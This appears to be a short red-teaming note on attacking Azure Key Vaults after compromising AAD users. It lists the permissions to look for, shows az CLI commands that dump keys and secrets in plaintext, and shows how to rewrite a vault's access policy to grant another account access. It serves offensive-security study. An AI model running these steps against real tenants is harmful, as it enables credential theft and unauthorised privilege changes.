> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/aad/attacking-key-vaults.md).

# Attacking Key Vaults

While owning users and devices in AAD environments, it's good practice to look out for permissions like

```
Microsoft.KeyVault/vaults/read                    # read keys in a vault
Microsoft.KeyVault/vaults/secrets/read            # read the plaintext passwords in a vault
Microsoft.KeyVault/vaults/accessPolicies/write    # change access policies of vaults
```

To list the key vaults we have access to we use

```powershell
PS /home/otter> az keyvault list
```

If we have the right permissions we can also list the keys and secrets stored in the vaults:

* keys are usually stored at `https://<keyvault_name>.vault.azure.net/keys/<key_name>`

```powershell
# list keys
PS /home/otter> az keyvault key list --vault-name <vault_name>
# show plaintext keys
PS /home/otter> az keyvault key show --vault-name <vault_name> -n <key_name>
```

* secrets are usually stored at `https://<keyvault_name>.vault.azure.ner/secrets/<secret_name>`

```powershell
# list secrets
PS /home/otter> az keyvault secret list --vault-name <vault_name>
# show plaintext secrets
PS /home/otter> az keyvault secret show --vault-name <vault_name> -n <secret_name> --query value -o tsv
```

If we compromised a user that can change the access policy for a vault we can delegate permissions to other users

```powershell
PS /home/otter> az keyvault set-policy -n <vault_name> --key-permission get list --upn otter@minions.onmicrosoft.com
```